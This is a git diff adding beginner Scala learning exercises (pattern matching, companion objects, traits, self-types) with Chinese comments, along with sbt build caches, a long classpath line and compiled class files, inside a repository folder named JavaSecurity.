+/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-compiler.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-xml_2.12-2.2.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-reflect.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/io_2.12-1.10.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist-core-assembly-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/slf4j-api-1.7.36.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-2.14.7-sbt-9c3b6aca11c57e339441442bbf58e550cdfecb79.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/command_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-reader-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-collection-compat_2.12-2.11.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-control_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-api-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-bridge_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main-settings_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-core_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbinary_2.12-0.5.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/error_prone_annotations-2.4.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-core_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/config-1.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-interface-1.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ivy-2.3.0-sbt-396a783bba347016e7fe30dacc60d355be607fe2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/actions_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbt-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-library-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-apache-http_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/checker-qual-3.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/caffeine-2.8.5.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-tracking_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/testing_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-core-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-agent-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/launcher-interface-1.4.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-apiinfo_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-slf4j-impl-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/tasks_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/file-tree-views-2.1.12.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/collections_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-scalajson_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/task-system_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-lm-integration_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-murmurhash_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ssl-config-core_2.12-0.6.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-ivy_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jna-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-cache_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-parser-combinators_2.12-1.1.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zero-allocation-hashing-0.16.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jansi-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/run_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/reactive-streams-1.0.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-reflect-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-platform-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/disruptor-3.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/template-resolver-0.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-builtins-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-relation_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-compiler-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scripted-plugin_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/protocol_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-style-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/completion_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-xml_2.12-2.3.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ipcsocket-1.6.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-jawn-parser_2.12-1.3.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classpath_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jsch-0.2.17.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-position_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/lm-coursier-shaded_2.12-2.1.4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-scalajson_2.12-1.0.0-M4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classfile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-native-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-logging_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jansi-2.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-apache-httpasyncclient-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/core-macros_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/logic_2.12-1.10.1.jar
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/unmanagedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/unmanagedClasspath/_global/streams/export
new file mode 100644
index 00000000..8b137891
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/unmanagedClasspath/_global/streams/export
@@ -0,0 +1 @@
+
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/unmanagedClasspath/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/unmanagedClasspath/_global/streams/out
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/unmanagedJars/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/unmanagedJars/_global/streams/export
new file mode 100644
index 00000000..8b137891
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/unmanagedJars/_global/streams/export
@@ -0,0 +1 @@
+
diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/LazyList/Person.scala b/JavaSecurity/JDK/Scala1/src/main/scala/LazyList/Person.scala
new file mode 100644
index 00000000..04f77ace
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/src/main/scala/LazyList/Person.scala
@@ -0,0 +1,7 @@
+package LazyList
+
+class Person extends Serializable{
+
+
+
+}
diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/LazyList/Serialize.scala b/JavaSecurity/JDK/Scala1/src/main/scala/LazyList/Serialize.scala
new file mode 100644
index 00000000..3d464111
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/src/main/scala/LazyList/Serialize.scala
@@ -0,0 +1,6 @@
+package LazyList
+
+class Serialize {
+
+
+}
diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/HelloWorld.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/HelloWorld.scala
new file mode 100644
index 00000000..75634761
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/HelloWorld.scala
@@ -0,0 +1,5 @@
+object HelloSpark{
+ def main(args:Array[String]):Unit = {
+ println("Hello Spark!")
+ }
+}
\ No newline at end of file
diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/Match.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/Match.scala
new file mode 100644
index 00000000..b575f533
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/Match.scala
@@ -0,0 +1,17 @@
+package basiCode;object Match {
+ def show(result:String):Unit={
+ println(result)
+ }
+ def main(args: Array[String]): Unit = {
+ val x=11
+ val y=x match {
+ case 1 => "one"
+ case 2 => "two"
+ case other => s"other: $other" // other是一个变量名,它会接收除了1和2以外的任何值
+ case _ => s"other: _"
+ }
+ show(y)
+ //other: 11
+
+ }
+ }
diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/Person.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/Person.scala
new file mode 100644
index 00000000..2f389344
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/Person.scala
@@ -0,0 +1,67 @@
+// 定义一个Person类,作为伴生类
+class Person(val name: String, val age: Int) {
+ private val secret = "I love Scala"
+
+
+ def sayHello(): Unit = {
+ println(s"Hello, I am $name, $age years old.")
+ }
+}
+
+// 定义一个Person对象,作为伴生对象
+object Person {
+
+ var count = 0
+
+ def increase(): Unit = {
+ count += 1
+ println(s"Person count: $count")
+ }
+
+ def showSec():Unit={
+ println(apply("test",1).secret)
+ }
+
+ // 定义一个apply方法,用于创建Person类的实例
+ def apply(name: String, age: Int): Person = {
+ increase()
+ new Person(name, age) // 返回新的Person对象
+ }
+
+ // 定义一个unapply方法,用于提取Person类的属性
+ def unapply(person: Person): Option[(String, Int)] = {
+ if (person == null) None // 如果person为空,返回None
+ else Some(person.name, person.age) // 否则返回Some元组
+ }
+}
+object Main {
+
+ def main(args: Array[String]): Unit = {
+ // 使用伴生对象的apply方法创建Person类的实例,省略了new关键字
+ val p1 = Person("Alice", 20)//Person count: 1
+ val p2 = Person("Bob", 25)//Person count: 2
+
+ // 使用伴生对象的字段和方法
+ println(Person.count) // 输出2
+ Person.increase() // Person count: 3
+ Person.showSec()//输出Person count: 4
+ //I love Scala(伴生对象可以访问伴生类的私有成员)
+
+ // 使用伴生类的字段和方法
+ /*
+ println(p1.secret)// 无法访问私有成员
+ */
+ p1.sayHello() // 输出Hello, I am Alice, 20 years old.
+
+ // 使用模式匹配和提取器,利用伴生对象的unapply方法
+ val p3=null
+ p1 match {
+ case Person(name, age) => println(s"$name is $age years old.") // 输出Alice is 20 years old.
+ case _ => println("Unknown person.")
+ }
+ p3 match {
+ case Person(name, age) => println(s"$name is $age years old.") // 输出Unknown person.
+ case _ => println("Unknown person.")
+ }
+ }
+}
diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/apply.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/apply.scala
new file mode 100644
index 00000000..8160d848
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/basic/apply.scala
@@ -0,0 +1,16 @@
+//class Person(val name: String, val age: Int)
+//
+//object Person {
+// def apply(name: String, age: Int): Person = new Person(name, age)
+//
+// def main(args: Array[String]): Unit = {
+//
+// // 使用 apply 方法创建对象
+// val person = Person("Alice", 25)
+// println(person.name)
+// }
+//
+//}
+//
+//
+//
diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/self_type/Cat.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/self_type/Cat.scala
new file mode 100644
index 00000000..23bcfa96
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/self_type/Cat.scala
@@ -0,0 +1,44 @@
+package basiCode.self_type
+
+
+object Cat {
+
+ class Cat {
+ val name: String = "Tom"
+ val color: String = "Gray"
+
+ def meow(): Unit = println("Meow!")
+
+ }
+ trait Talkative {
+ def talk(): Unit
+ }
+
+ trait Singer {
+ self: Talkative => // 声明自身类型,表示Singer依赖于Talkative
+ def sing(): Unit = {
+ talk() // 可以直接使用Talkative的成员
+ println("La la la...")
+ }
+ }
+
+ trait Dancer {
+ self: Singer => // 声明自身类型,表示Dancer依赖于Singer
+ def dance(): Unit = {
+ sing() // 可以直接使用Singer的成员
+ println("Shake shake shake...")
+ }
+ }
+
+ def main(args: Array[String]): Unit = {
+ val tom = new Cat with Talkative with Singer with Dancer {
+ override def talk(): Unit = {
+ println("test")
+ }
+ } // 创建一个会说话、唱歌、跳舞的猫
+ tom.talk() // 输出:Meow!
+ tom.sing() // 输出:Meow! La la la...
+ tom.dance() // 输出:Meow! La la la... Shake shake shake...
+ }
+
+}
diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBody.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBody.scala
new file mode 100644
index 00000000..345128e5
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBody.scala
@@ -0,0 +1,6 @@
+package basiCode.`trait`
+
+trait PersonBody {
+
+ val height: Int
+}
diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBodyImpl.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBodyImpl.scala
new file mode 100644
index 00000000..1df87475
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBodyImpl.scala
@@ -0,0 +1,13 @@
+import basiCode.`trait`.PersonBody
+
+object PersonBodyImpl {
+
+ class PersonBodyImpl(name : String) extends PersonBody{
+ override val height: Int = 185
+ }
+ def main(args: Array[String]): Unit = {
+ var person = new PersonBodyImpl("Cloud")
+ println(person.height)
+ //185
+ }
+}
\ No newline at end of file
diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBodyImpls.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBodyImpls.scala
new file mode 100644
index 00000000..0f586ad7
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonBodyImpls.scala
@@ -0,0 +1,25 @@
+import basiCode.`trait`.{PersonBody, PersonHobby}
+
+object PersonBodyImpls {
+
+ class PersonBodyImpls(name : String) extends PersonBody with PersonHobby {
+
+ override def showHobby(): Unit = {
+ println(hobbyGame)
+ }
+
+ override val height: Int = 185
+
+ override var hobbyGame: String = "Drunkbaby sleep"
+
+ }
+
+ def main(args: Array[String]): Unit = {
+ var person = new PersonBodyImpls("Cloud")
+ person.showHobby()
+
+ }
+
+
+}
+
diff --git a/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonHobby.scala b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonHobby.scala
new file mode 100644
index 00000000..d3634333
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/src/main/scala/basiCode/trait/PersonHobby.scala
@@ -0,0 +1,6 @@
+package basiCode.`trait`
+
+trait PersonHobby{
+ var hobbyGame: String
+ def showHobby()
+}
\ No newline at end of file
diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/HelloSpark$.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/HelloSpark$.class
new file mode 100644
index 00000000..5731117a
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/HelloSpark$.class differ
diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/HelloSpark.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/HelloSpark.class
new file mode 100644
index 00000000..c1710a19
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/HelloSpark.class differ
diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Main$.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Main$.class
new file mode 100644
index 00000000..7fea1daa
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Main$.class differ
diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Main.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Main.class
new file mode 100644
index 00000000..e188c1ef
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Main.class differ
diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Person$.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Person$.class
new file mode 100644
index 00000000..82e8b461
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Person$.class differ
diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Person.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Person.class
new file mode 100644
index 00000000..299976d1
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/Person.class differ
diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl$.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl$.class
new file mode 100644
index 00000000..bfd290a4
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl$.class differ
diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl$PersonBodyImpl.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl$PersonBodyImpl.class
new file mode 100644
index 00000000..96f4179d
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl$PersonBodyImpl.class differ
diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl.class
new file mode 100644
index 00000000..69bcdbab
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpl.class differ
diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls$.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls$.class
new file mode 100644
index 00000000..2ef29221
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls$.class differ
diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls$PersonBodyImpls.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls$PersonBodyImpls.class
new file mode 100644
index 00000000..99efe675
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls$PersonBodyImpls.class differ
diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls.class
new file mode 100644
index 00000000..a1926f4c
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/PersonBodyImpls.class differ
diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/Match$.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/Match$.class
new file mode 100644
index 00000000..18eb0d9b
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/Match$.class differ
diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/Match.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/Match.class
new file mode 100644
index 00000000..e2d792cb
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/Match.class differ
diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$$anon1ドル.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$$anon1ドル.class
new file mode 100644
index 00000000..d6906263
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$$anon1ドル.class differ
diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$.class
new file mode 100644
index 00000000..7f96c1f7
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$.class differ
diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Cat.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Cat.class
new file mode 100644
index 00000000..43784d4c
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Cat.class differ
diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Dancer.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Dancer.class
new file mode 100644
index 00000000..d452cc25
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Dancer.class differ
diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Singer.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Singer.class
new file mode 100644
index 00000000..6c56b602
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Singer.class differ
diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Talkative.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Talkative.class
new file mode 100644
index 00000000..d7f3d07f
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Talkative.class differ
diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat.class
new file mode 100644
index 00000000..7e7ed7dc
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat.class differ
diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/trait/PersonBody.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/trait/PersonBody.class
new file mode 100644
index 00000000..fb1e1b16
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/trait/PersonBody.class differ
diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/trait/PersonHobby.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/trait/PersonHobby.class
new file mode 100644
index 00000000..4b7d8856
Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/trait/PersonHobby.class differ
diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/update/update_cache_2.13/inputs b/JavaSecurity/JDK/Scala1/target/scala-2.13/update/update_cache_2.13/inputs
new file mode 100644
index 00000000..df642f7c
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/target/scala-2.13/update/update_cache_2.13/inputs
@@ -0,0 +1 @@
+490089905
\ No newline at end of file
diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/update/update_cache_2.13/output b/JavaSecurity/JDK/Scala1/target/scala-2.13/update/update_cache_2.13/output
new file mode 100644
index 00000000..9a48fde1
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/target/scala-2.13/update/update_cache_2.13/output
@@ -0,0 +1 @@
+{"cachedDescriptor":".","configurations":[{"configuration":{"name":"compile"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/s